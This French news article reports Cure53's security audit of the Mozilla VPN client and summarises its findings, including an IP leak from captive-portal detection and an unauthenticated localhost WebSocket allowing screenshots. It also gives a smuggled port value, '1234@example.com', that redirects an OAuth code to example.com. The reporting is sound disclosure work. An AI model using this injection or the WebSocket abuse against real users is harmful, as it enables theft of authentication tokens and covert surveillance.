La société Mozilla a annoncé la fin d'un audit indépendant du logiciel client pour se connecter au service Mozilla VPN. Cet audit a porté sur l'analyse d'une application cliente autonome, développée en utilisant la bibliothèque Qt et fournie pour Linux, macOS, Windows, Android et iOS. Le service Mozilla VPN est alimenté par plus de 400 serveurs du fournisseur VPN suédois Mullvad, situés dans plus de 30 pays. La connexion au VPN-service se fait via le protocole WireGuard.
L'audit a été réalisé par Cure53, qui a également audité les projets NTPsec, SecureDrop, Cryptocat, F-Droid et Dovecot. L'audit a porté sur la vérification des codes sources et a inclus des tests pour identifier les éventuelles vulnérabilités (les questions liées à la cryptographie n'ont pas été examinées). Au cours de l'analyse, 16 problèmes de sécurité ont été identifiés, dont 8 étaient des recommandations, 5 ont été classés comme ayant un faible niveau de danger, deux comme moyen et un comme élevé.
Cependant, un seul problème de niveau moyen a été classé comme vulnérabilité, car il était le seul exploitable. Ce problème entraînait une fuite d'informations sur l'utilisation de VPN dans le code de détection de captive portal en raison de l'envoi de requêtes directes non chiffrées par HTTP, envoyées en dehors du tunnel VPN et révélant l'adresse IP principale de l'utilisateur si un attaquant peut contrôler le trafic transit. Ce problème peut être résolu en désactivant le mode de détection de captive portal dans les paramètres.
Le deuxième problème de niveau moyen de gravité est lié à l'absence de nettoyage adéquat des valeurs non numériques dans le numéro de port, ce qui permet de provoquer une fuite des paramètres d'authentification OAuth en substituant le numéro de port par une chaîne de type « 1234@example.com », ce qui entraînera l'installation d'une balise <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, faisant référence à example.com au lieu de 127.0.0.1.
Le troisième problème, marqué comme dangereux, permet à toute application locale, sans authentification, d'accéder au client VPN via WebSocket, lié à localhost. En exemple, il a été montré qu'avec le client VPN actif, n'importe quel site pouvait organiser la création et l'envoi d'une capture d'écran en générant un événement screen_capture. Ce problème n'a pas été classé comme vulnérabilité, car le WebSocket n'était utilisé que dans des versions de test internes et l'utilisation de ce canal de communication était uniquement prévue pour l'avenir dans le cadre de l'interaction avec l'extension de navigateur.
Source : opennet.ru
